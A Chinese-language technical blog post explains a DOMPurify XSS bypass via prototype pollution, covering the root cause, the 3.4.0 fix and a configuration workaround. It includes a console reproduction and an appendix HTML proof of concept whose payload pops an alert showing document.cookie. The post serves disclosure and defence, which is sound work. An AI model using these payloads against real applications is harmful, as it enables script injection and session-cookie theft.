DOMPurify 的一个漏洞:你以为 {} 是空的?

DOMPurify 的一个漏洞:你以为 {} 是空的?

DOMPurify,前端防 XSS 的标配,sanitize() 一下恶意标签全没了。用了这么多年,一直觉得挺稳。

直到有一天,你发现 <x-x onfocus=alert(1)> 居然原样通过了。

你的调用方式没有任何问题:

js 复制代码
DOMPurify.sanitize(dirty); // 默认配置,按理说是最严格的

问题出在别的地方。


很简单,DOMPurify 内部有一行代码是这么写的:

js 复制代码
CUSTOM_ELEMENT_HANDLING = cfg.CUSTOM_ELEMENT_HANDLING || {};

没传配置 → undefined|| {} → 空对象。然后去读 CUSTOM_ELEMENT_HANDLING.tagNameCheck,空对象上没有 → undefined → DOMPurify 按最严格逻辑拦截所有自定义元素。

听起来没毛病对吧?

{} 在 JavaScript 里不一定是空的。


如果 Object.prototype 上被人挂过东西------

这事不稀奇。某个 npm 依赖的 deepMerge 没校验 key,一段 URL 参数解析没过滤 __proto__,甚至你项目里某行不起眼的 target[key] = value------都能干这件事。

js 复制代码
// 某个你根本不知道的角落,可能已经发生了:
Object.prototype.tagNameCheck = /.*/;
Object.prototype.attributeNameCheck = /.*/;

然后 DOMPurify 再去读 {}.tagNameCheck------

空对象自己没有,但原型链上有。读到了 /.*/

这个正则是"匹配所有标签"的意思。DOMPurify 一看:哦,你配了白名单,而且所有标签都在白名单里,那就全放行吧。

<x-x onfocus=alert(1)>?合法的,过。


js 复制代码
// 三行代码就能在控制台复现:
Object.prototype.tagNameCheck = /.*/;
Object.prototype.attributeNameCheck = /.*/;

const clean = DOMPurify.sanitize('<x-x onfocus=alert(1) tabindex=0 autofocus>test</x-x>');
document.body.innerHTML = clean; // alert 弹了

就三行。你什么都没传,DOMPurify 也没报错,但 XSS 绕过去了。


这个漏洞最操蛋的地方在于:你查自己的代码查不出任何问题。

版本是最新的(当时 3.3.3),调用是最标准的,配置是最严格的。但攻击者通过另一个完全不相关的入口污染了 Object.prototype,你的整个 JS 运行时就不干净了。DOMPurify 只是那个"刚好在脏环境里运行"的无辜路人。

有点像你明明没动 Redux store,但某个第三方组件在 componentWillUnmount 里偷偷 dispatch 了一笔------你盯着自己的代码看了一下午也找不到 bug。

flowchart TD A[&#34;某个依赖的 deepMerge&#34;] -->|&#34;污染&#34;| P[&#34;Object.prototype<br/>多了不该有的属性&#34;] B[&#34;某段 URL 解析&#34;] -->|&#34;污染&#34;| P C[&#34;你自己的 Object.assign&#34;] -->|&#34;污染&#34;| P P -->|&#34;DOMPurify 读到脏配置&#34;| D[&#34;所有标签被判定为安全&#34;] D --> E[&#34;XSS&#34;] style P fill:#fde2e2,stroke:#c0392b style E fill:#fde2e2,stroke:#c0392b

Object.prototype 就是比 window 更底层的全局作用域------所有对象共享,污染了就是污染了,谁也跑不掉。


怎么修?DOMPurify 3.4.0 把那一行改成了:

js 复制代码
CUSTOM_ELEMENT_HANDLING = cfg.CUSTOM_ELEMENT_HANDLING || Object.create(null);

Object.create(null) 创建的对象没有原型链Object.prototype 上挂再多垃圾,也读不到。

如果你暂时升不了版本,显式传配置也能扛住:

js 复制代码
DOMPurify.sanitize(input, {
  CUSTOM_ELEMENT_HANDLING: {
    tagNameCheck: null,
    attributeNameCheck: null
  }
});

回想一下,这其实就是前端里一个老生常谈的问题换了个马甲:你拿到的对象不一定是你以为的那个对象。 for...in 能遍历出幽灵属性,in 操作符会误判,|| {} 也不保证干净------都是同一件事。


附录:完整 PoC

html 复制代码
<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <title>CVE-2026-41238 PoC</title>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.3.3/purify.min.js"></script>
</head>
<body>
    <h1>CVE-2026-41238 --- DOMPurify 原型污染绕过</h1>
    <button onclick="runPoC()">运行 PoC</button>
    <div id="output"></div>

    <script>
        function runPoC() {
            Object.prototype.tagNameCheck = /.*/;
            Object.prototype.attributeNameCheck = /.*/;

            const clean = DOMPurify.sanitize(
                '<x-x onfocus="alert(\'XSS! Cookie: \' + document.cookie)" tabindex="0" autofocus>点我</x-x>'
            );

            const outputDiv = document.getElementById('output');
            outputDiv.innerHTML =
                '<h2>净化后输出:</h2><pre>' +
                clean.replace(/</g, '&lt;') +
                '</pre><h3>渲染结果(应触发弹窗):</h3>';
            outputDiv.innerHTML += clean;
        }
    </script>
</body>
</html>

影响版本 :DOMPurify 3.0.1 ~ 3.3.3 | 修复版本:3.4.0

前提 :应用需存在原型污染入口(否则无法触发) | 参考:GHSA-v9jr-rg53-9pgp

相关推荐
疯狂的魔鬼3 小时前
一套 Schema 驱动四视图:记 useCrudSchemas 的设计与实践
前端·javascript·typescript
风骏时光牛马3 小时前
大模型开发工具高频故障与实操问题汇总代码案例大全
前端
没落英雄3 小时前
2. 让 Agent 能读写文件、执行命令 —— LocalShellBackend 实战
前端·人工智能·架构
白雾茫茫丶3 小时前
探索 Nuxt.js 全栈能力:用 Better-Auth 打造类型安全的 RBAC 权限系统
前端·vue.js·nuxt.js
奇奇怪怪的3 小时前
检索增强——混合检索、Re-rank 与 Query 优化
前端
user62229864925813 小时前
React 常用技术知识全景:从组件到 Hooks 的系统理解
前端
麻辣凉茶3 小时前
给阿嬤一封来自云端的信(上)
前端·node.js
前端缘梦3 小时前
LangGraph 实战:从 0 到 1 构建 AI 代码生成工作流
前端·程序员·全栈